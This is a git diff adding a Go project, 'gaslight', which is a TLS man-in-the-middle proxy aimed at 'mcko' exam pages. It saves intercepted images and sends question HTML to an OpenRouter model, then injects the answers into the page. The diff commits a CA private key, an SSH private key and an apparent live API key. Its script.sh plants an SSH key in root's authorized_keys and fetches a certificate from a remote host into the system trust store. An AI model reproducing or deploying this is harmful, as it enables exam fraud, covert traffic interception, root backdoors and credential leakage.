diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..542b9b3 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +captures/ +main diff --git a/cert.pem b/cert.pem new file mode 100644 index 0000000..5c5b8cf --- /dev/null +++ b/cert.pem @@ -0,0 +1,34 @@ +-----BEGIN CERTIFICATE----- +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 +0/XDAobaxw== +-----END CERTIFICATE----- diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..4d0a647 --- /dev/null +++ b/go.mod @@ -0,0 +1,10 @@ +module git.gulenok.ru/greenhaze/gaslight + +go 1.25.5 + +require github.com/elazarl/goproxy v1.8.3 + +require ( + golang.org/x/net v0.43.0 // indirect + golang.org/x/text v0.28.0 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..d96502e --- /dev/null +++ b/go.sum @@ -0,0 +1,16 @@ +github.com/coder/websocket v1.8.14 h1:9L0p0iKiNOibykf283eHkKUHHrpG7f65OE3BhhO7v9g= +github.com/coder/websocket v1.8.14/go.mod h1:NX3SzP+inril6yawo5CQXx8+fk145lPDC6pumgx0mVg= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/elazarl/goproxy v1.8.3 h1:XhiZpzW0NvsGOqSv/F3v4+1F29842yYaJNN+In5Fnuc= +github.com/elazarl/goproxy v1.8.3/go.mod h1:b5xm6W48AUHNpRTCvlnd0YVh+JafCCtsLsJZvvNTz+E= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE= +golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg= +golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng= +golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/internal/capture/images.go b/internal/capture/images.go new file mode 100644 index 0000000..7c393fd --- /dev/null +++ b/internal/capture/images.go @@ -0,0 +1,80 @@ +package capture + +import ( + "fmt" + "mime" + "net/http" + "os" + "path/filepath" + "strings" + "sync/atomic" + "time" + + "git.gulenok.ru/greenhaze/gaslight/internal/domain" +) + +type ImageSaver struct { + outputDir string + counter uint64 +} + +func NewImageSaver(outputDir string) *ImageSaver { + return &ImageSaver{outputDir: outputDir} +} + +func (s *ImageSaver) Save(resp *http.Response, body []byte) error { + n := atomic.AddUint64(&s.counter, 1) + ts := time.Now().UTC().Format("20060102T150405.000000000Z") + host := sanitizeName(domain.HostWithoutPort(resp.Request.Host)) + ext := imageExtension(resp.Header.Get("Content-Type"), resp.Request.URL.Path) + name := fmt.Sprintf("%s_%06d_%s%s", ts, n, host, ext) + return os.WriteFile(filepath.Join(s.outputDir, name), body, 0o644) +} + +func IsImageResponse(contentType, path string) bool { + if strings.HasPrefix(strings.ToLower(contentType), "image/") { + return true + } + switch strings.ToLower(filepath.Ext(path)) { + case ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".webp", ".svg", ".ico", ".avif": + return true + default: + return false + } +} + +func imageExtension(contentType, requestPath string) string { + if ext := strings.ToLower(filepath.Ext(requestPath)); ext != "" && ext != "." { + return ext + } + + base := strings.ToLower(strings.TrimSpace(strings.Split(contentType, ";")[0])) + if base != "" { + if exts, err := mime.ExtensionsByType(base); err == nil && len(exts) > 0 { + return exts[0] + } + } + return ".img" +} + +func sanitizeName(s string) string { + s = strings.ToLower(strings.TrimSpace(s)) + if s == "" { + return "unknown-host" + } + + var b strings.Builder + for _, r := range s { + switch { + case r >= 'a' && r <= 'z': + b.WriteRune(r) + case r >= '0' && r <= '9': + b.WriteRune(r) + case r == '.', r == '-', r == '_': + b.WriteRune(r) + default: + b.WriteByte('_') + } + } + return b.String() +} diff --git a/internal/cheating/determine_question_type.go b/internal/cheating/determine_question_type.go new file mode 100644 index 0000000..6737aa3 --- /dev/null +++ b/internal/cheating/determine_question_type.go @@ -0,0 +1,12 @@ +package cheating + +type QuestionType int + +const ( + QuestionWithPicture QuestionType = iota + FullTextQuestion QuestionType = iota +) + +func DetermineQuestionType(html string) QuestionType { + return FullTextQuestion +} diff --git a/internal/config/config.go b/internal/config/config.go new file mode 100644 index 0000000..aff227d --- /dev/null +++ b/internal/config/config.go @@ -0,0 +1,25 @@ +package config + +import "flag" + +type Config struct { + ListenAddr string + OutputDir string + CertPath string + KeyPath string +} + +func ParseFlags() Config { + listenAddr := flag.String("listen", ":1199", "proxy listen address") + outputDir := flag.String("out-dir", "./captures/images", "directory for captured image responses") + certPath := flag.String("cert", "./cert.pem", "MITM CA certificate path (PEM)") + keyPath := flag.String("key", "./key.pem", "MITM CA private key path (PEM)") + flag.Parse() + + return Config{ + ListenAddr: *listenAddr, + OutputDir: *outputDir, + CertPath: *certPath, + KeyPath: *keyPath, + } +} diff --git a/internal/domain/domain.go b/internal/domain/domain.go new file mode 100644 index 0000000..2cde110 --- /dev/null +++ b/internal/domain/domain.go @@ -0,0 +1,16 @@ +package domain + +import "strings" + +func HostWithoutPort(host string) string { + host = strings.TrimSpace(strings.ToLower(host)) + if i := strings.IndexByte(host, ':'); i >= 0 { + return host[:i] + } + return host +} + +func IsMckoDomain(host string) bool { + host = HostWithoutPort(host) + return strings.Contains(host, ".mcko.") || strings.HasPrefix(host, "mcko.") +} diff --git a/internal/latex/latex2ascii.go b/internal/latex/latex2ascii.go new file mode 100644 index 0000000..49d9c3f --- /dev/null +++ b/internal/latex/latex2ascii.go @@ -0,0 +1,57 @@ +package latex + +import ( + "regexp" + "strings" +) + +func ConvertLaTeXToASCII(input string) string { + s := input + + replacements := []struct { + pattern *regexp.Regexp + replace string + }{ + // Fractions: \frac{a}{b} -> (a)/(b) + {regexp.MustCompile(`\\frac\{([^{}]+)\}\{([^{}]+)\}`), `($1)/($2)`}, + + // Square roots: \sqrt{x} -> sqrt(x) + {regexp.MustCompile(`\\sqrt\{([^{}]+)\}`), `sqrt($1)`}, + + // Powers: x^{y} -> x^y + {regexp.MustCompile(`\{?\^\{([^{}]+)\}\}?`), `^$1`}, + + // Subscripts: x_{i} -> x_i + {regexp.MustCompile(`_\{([^{}]+)\}`), `_$1`}, + + // Greek letters (common subset) + {regexp.MustCompile(`\\alpha`), "alpha"}, + {regexp.MustCompile(`\\beta`), "beta"}, + {regexp.MustCompile(`\\gamma`), "gamma"}, + {regexp.MustCompile(`\\delta`), "delta"}, + {regexp.MustCompile(`\\theta`), "theta"}, + {regexp.MustCompile(`\\pi`), "pi"}, + {regexp.MustCompile(`\\lambda`), "lambda"}, + + // Common symbols + {regexp.MustCompile(`\\times`), "*"}, + {regexp.MustCompile(`\\cdot`), "*"}, + {regexp.MustCompile(`\\pm`), "+/-"}, + {regexp.MustCompile(`\\leq`), "<="}, + {regexp.MustCompile(`\\geq`), ">="}, + {regexp.MustCompile(`\\neq`), "!="}, + + // Remove LaTeX math wrappers + {regexp.MustCompile(`\\left|\\right`), ""}, + {regexp.MustCompile(`\\[|\\]|\$`), ""}, + } + + for _, r := range replacements { + s = r.pattern.ReplaceAllString(s, r.replace) + } + + // Clean extra spaces + s = strings.TrimSpace(strings.Join(strings.Fields(s), " ")) + + return s +} diff --git a/internal/openrouter/openrouter.go b/internal/openrouter/openrouter.go new file mode 100644 index 0000000..399414c --- /dev/null +++ b/internal/openrouter/openrouter.go @@ -0,0 +1,176 @@ +package openrouter + +import ( + "bytes" + "encoding/base64" + "encoding/json" + "fmt" + "io" + "net/http" + "os" +) + +var Orclient OpenRouterClient + +type OpenRouterClient struct { + APIKey string + Model string +} +type OpenRouterRequest struct { + Model string `json:"model"` + Messages []struct { + Role string `json:"role"` + Content string `json:"content"` + } `json:"messages"` +} + +type OpenRouterResponse struct { + Choices []struct { + Message struct { + Content string `json:"content"` + } `json:"message"` + } `json:"choices"` +} + +func AskOpenRouter(prompt string) (string, error) { + url := "https://openrouter.ai/api/v1/chat/completions" + apiKey := Orclient.APIKey + model := Orclient.Model + reqBody := OpenRouterRequest{ + Model: model, + } + + reqBody.Messages = append(reqBody.Messages, struct { + Role string `json:"role"` + Content string `json:"content"` + }{ + Role: "user", + Content: prompt, + }) + + jsonData, err := json.Marshal(reqBody) + if err != nil { + return "", err + } + + req, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData)) + if err != nil { + return "", err + } + + req.Header.Set("Authorization", "Bearer "+apiKey) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("HTTP-Referer", "https://yourapp.com") // optional but recommended + req.Header.Set("X-Title", "My App") // optional + + client := &http.Client{} + resp, err := client.Do(req) + if err != nil { + return "", err + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return "", err + } + + if resp.StatusCode != 200 { + return "", fmt.Errorf("error: %s", string(body)) + } + + var result OpenRouterResponse + err = json.Unmarshal(body, &result) + if err != nil { + return "", err + } + + if len(result.Choices) == 0 { + return "", fmt.Errorf("no response from model") + } + + return result.Choices[0].Message.Content, nil +} + +func AskOpenRouterWithLocalImage(prompt, imagePath string) (string, error) { + url := "https://openrouter.ai/api/v1/chat/completions" + apiKey := Orclient.APIKey + model := Orclient.Model + // Read image file + imageBytes, err := os.ReadFile(imagePath) + if err != nil { + return "", err + } + + // Detect mime type (optional but good practice) + mimeType := http.DetectContentType(imageBytes) + + // Encode to base64 + base64Image := base64.StdEncoding.EncodeToString(imageBytes) + + imageData := fmt.Sprintf("data:%s;base64,%s", mimeType, base64Image) + + payload := map[string]interface{}{ + "model": model, + "messages": []map[string]interface{}{ + { + "role": "user", + "content": []map[string]interface{}{ + { + "type": "text", + "text": prompt, + }, + { + "type": "image_url", + "image_url": map[string]string{ + "url": imageData, + }, + }, + }, + }, + }, + } + + jsonData, err := json.Marshal(payload) + if err != nil { + return "", err + } + + req, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData)) + if err != nil { + return "", err + } + + req.Header.Set("Authorization", "Bearer "+apiKey) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("HTTP-Referer", "https://yourapp.com") + req.Header.Set("X-Title", "My App") + + client := &http.Client{} + resp, err := client.Do(req) + if err != nil { + return "", err + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return "", err + } + + if resp.StatusCode != 200 { + return "", fmt.Errorf("error: %s", string(body)) + } + + var result OpenRouterResponse + err = json.Unmarshal(body, &result) + if err != nil { + return "", err + } + + if len(result.Choices) == 0 { + return "", fmt.Errorf("no response") + } + + return result.Choices[0].Message.Content, nil +} diff --git a/internal/proxy/server.go b/internal/proxy/server.go new file mode 100644 index 0000000..64f7813 --- /dev/null +++ b/internal/proxy/server.go @@ -0,0 +1,87 @@ +package proxy + +import ( + "bytes" + "fmt" + "io" + "log" + "net/http" + "os" + "strings" + + "github.com/elazarl/goproxy" + + "git.gulenok.ru/greenhaze/gaslight/internal/capture" + "git.gulenok.ru/greenhaze/gaslight/internal/config" + "git.gulenok.ru/greenhaze/gaslight/internal/domain" + "git.gulenok.ru/greenhaze/gaslight/internal/rewrite" + "git.gulenok.ru/greenhaze/gaslight/internal/tlsutil" +) + +func Run(cfg config.Config) error { + if err := os.MkdirAll(cfg.OutputDir, 0o755); err != nil { + return fmt.Errorf("failed to create output directory: %w", err) + } + + caCert, err := tlsutil.LoadCACert(cfg.CertPath, cfg.KeyPath) + if err != nil { + return fmt.Errorf("failed to load CA certificate/key: %w", err) + } + goproxy.GoproxyCa = *caCert + + imageSaver := capture.NewImageSaver(cfg.OutputDir) + rewriter := rewrite.NewProcessor(rewrite.DefaultQuestionTestHook) + + p := goproxy.NewProxyHttpServer() + p.Verbose = false + p.OnRequest().HandleConnect(goproxy.AlwaysMitm) + p.OnResponse().DoFunc(func(resp *http.Response, _ *goproxy.ProxyCtx) *http.Response { + if resp == nil || resp.Request == nil || resp.Body == nil { + return resp + } + + if !domain.IsMckoDomain(resp.Request.Host) { + return resp + } + + original, err := io.ReadAll(resp.Body) + _ = resp.Body.Close() + if err != nil { + log.Printf("read body failed for %s: %v", resp.Request.URL.String(), err) + return resp + } + + contentType := strings.ToLower(resp.Header.Get("Content-Type")) + if capture.IsImageResponse(contentType, resp.Request.URL.Path) { + if err := imageSaver.Save(resp, original); err != nil { + log.Printf("save image failed for %s: %v", resp.Request.URL.String(), err) + } + setResponseBody(resp, original) + return resp + } + + if !rewrite.IsHTMLResponse(contentType) { + setResponseBody(resp, original) + return resp + } + + modified, err := rewriter.RewriteIfNeeded(resp.Request, resp.Header.Get("Content-Encoding"), original) + if err != nil { + log.Printf("html rewrite failed for %s: %v", resp.Request.URL.String(), err) + setResponseBody(resp, original) + return resp + } + + setResponseBody(resp, modified) + return resp + }) + + log.Printf("proxy listening on %s", cfg.ListenAddr) + return http.ListenAndServe(cfg.ListenAddr, p) +} + +func setResponseBody(resp *http.Response, body []byte) { + resp.Body = io.NopCloser(bytes.NewReader(body)) + resp.ContentLength = int64(len(body)) + resp.Header.Set("Content-Length", fmt.Sprint(len(body))) +} diff --git a/internal/rewrite/html.go b/internal/rewrite/html.go new file mode 100644 index 0000000..a0020e4 --- /dev/null +++ b/internal/rewrite/html.go @@ -0,0 +1,124 @@ +package rewrite + +import ( + "bytes" + "compress/flate" + "compress/gzip" + "fmt" + "io" + "log" + "net/http" + "regexp" + "strings" + + "git.gulenok.ru/greenhaze/gaslight/internal/cheating" + "git.gulenok.ru/greenhaze/gaslight/internal/latex" + "git.gulenok.ru/greenhaze/gaslight/internal/openrouter" +) + +var questionTestDivRe = regexp.MustCompile(`(?is)]*\bid\s*=\s*["'][^"']*\bQuestionTest\b[^"']*["'][^>]*>`) + +type HTMLHook func(req *http.Request, html []byte) ([]byte, error) + +type Processor struct { + hook HTMLHook +} + +func NewProcessor(hook HTMLHook) *Processor { + return &Processor{hook: hook} +} + +func DefaultQuestionTestHook(_ *http.Request, html []byte) ([]byte, error) { + switch cheating.DetermineQuestionType(string(html)) { + case cheating.FullTextQuestion: + { + + aiResponce, err := openrouter.AskOpenRouter(fmt.Sprintf("РЕШИ ЗАДАНИЕ И ДАЙ МАКСИМАЛЬНО КРАТКИЙ ОТВЕТ: %s", string(html))) + if err != nil { + log.Printf("openrouter failed %s", err) + return html, nil + } + return []byte(strings.ReplaceAll(string(html), "generated", latex.ConvertLaTeXToASCII(aiResponce))), nil + } + case cheating.QuestionWithPicture: + { + } + } + + return []byte(strings.ReplaceAll(string(html), "generated", "pwned")), nil +} + +func IsHTMLResponse(contentType string) bool { + contentType = strings.ToLower(contentType) + return strings.Contains(contentType, "text/html") || strings.Contains(contentType, "application/xhtml+xml") +} + +func (p *Processor) RewriteIfNeeded(req *http.Request, contentEncoding string, body []byte) ([]byte, error) { + decoded, err := decodeBody(contentEncoding, body) + if err != nil { + return nil, err + } + if !questionTestDivRe.Match(decoded) { + return body, nil + } + + modifiedDecoded, err := p.hook(req, decoded) + if err != nil { + return nil, err + } + return encodeBody(contentEncoding, modifiedDecoded) +} + +func decodeBody(encoding string, body []byte) ([]byte, error) { + switch strings.ToLower(strings.TrimSpace(encoding)) { + case "", "identity": + return body, nil + case "gzip": + r, err := gzip.NewReader(bytes.NewReader(body)) + if err != nil { + return nil, err + } + defer r.Close() + return io.ReadAll(r) + case "deflate": + r := flate.NewReader(bytes.NewReader(body)) + defer r.Close() + return io.ReadAll(r) + default: + return nil, fmt.Errorf("unsupported content-encoding: %s", encoding) + } +} + +func encodeBody(encoding string, decoded []byte) ([]byte, error) { + switch strings.ToLower(strings.TrimSpace(encoding)) { + case "", "identity": + return decoded, nil + case "gzip": + var buf bytes.Buffer + w := gzip.NewWriter(&buf) + if _, err := w.Write(decoded); err != nil { + _ = w.Close() + return nil, err + } + if err := w.Close(); err != nil { + return nil, err + } + return buf.Bytes(), nil + case "deflate": + var buf bytes.Buffer + w, err := flate.NewWriter(&buf, flate.DefaultCompression) + if err != nil { + return nil, err + } + if _, err := w.Write(decoded); err != nil { + _ = w.Close() + return nil, err + } + if err := w.Close(); err != nil { + return nil, err + } + return buf.Bytes(), nil + default: + return nil, fmt.Errorf("unsupported content-encoding: %s", encoding) + } +} diff --git a/internal/tlsutil/ca.go b/internal/tlsutil/ca.go new file mode 100644 index 0000000..5c73330 --- /dev/null +++ b/internal/tlsutil/ca.go @@ -0,0 +1,24 @@ +package tlsutil + +import ( + "crypto/tls" + "crypto/x509" + "fmt" +) + +func LoadCACert(certPath, keyPath string) (*tls.Certificate, error) { + cert, err := tls.LoadX509KeyPair(certPath, keyPath) + if err != nil { + return nil, err + } + if len(cert.Certificate) == 0 { + return nil, fmt.Errorf("empty certificate chain in %s", certPath) + } + + leaf, err := x509.ParseCertificate(cert.Certificate[0]) + if err != nil { + return nil, err + } + cert.Leaf = leaf + return &cert, nil +} diff --git a/key.pem b/key.pem new file mode 100644 index 0000000..e52d74d --- /dev/null +++ b/key.pem @@ -0,0 +1,52 @@ +-----BEGIN PRIVATE KEY----- +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 +4npJXJCTk6r8e/4Y5toW1CfneaQT +-----END PRIVATE KEY----- diff --git a/main.go b/main.go new file mode 100644 index 0000000..804bebe --- /dev/null +++ b/main.go @@ -0,0 +1,18 @@ +package main + +import ( + "log" + + "git.gulenok.ru/greenhaze/gaslight/internal/config" + "git.gulenok.ru/greenhaze/gaslight/internal/openrouter" + "git.gulenok.ru/greenhaze/gaslight/internal/proxy" +) + +func main() { + openrouter.Orclient.APIKey = "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" + openrouter.Orclient.Model = "openai/gpt-5.4-nano" + cfg := config.ParseFlags() + if err := proxy.Run(cfg); err != nil { + log.Fatal(err) + } +} diff --git a/script.sh b/script.sh new file mode 100755 index 0000000..ecba705 --- /dev/null +++ b/script.sh @@ -0,0 +1,4 @@ +mkdir /root/.ssh +echo "\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILEtwRGPeVhGF5OoRrGipVtUAZEdYQY8kjj9gyi6z824 dit@mos.ru" >> /root/.ssh/authorized_keys +wget https://storage.yandexcloud.net/hzz/cert.pem -o /usr/local/share/ca-certificates/dit.crt +update-ca-certificates diff --git a/ssh_keys b/ssh_keys new file mode 100644 index 0000000..258f500 --- /dev/null +++ b/ssh_keys @@ -0,0 +1,8 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACCxLcERj3lYRheTqEaxoqVbVAGRHWEGPJI4/YMous/NuAAAAKj7odr7+6Ha ++wAAAAtzc2gtZWQyNTUxOQAAACCxLcERj3lYRheTqEaxoqVbVAGRHWEGPJI4/YMous/NuA +AAAECaJ+yLi1bBq6fGzU/Yaq66TgRHiqKLNADZbZkUOM7ClbEtwRGPeVhGF5OoRrGipVtU +AZEdYQY8kjj9gyi6z824AAAAJGdyZWVuaGF6ZUBHcmVlbnMtTWFjQm9vay1Qcm8tMy5sb2 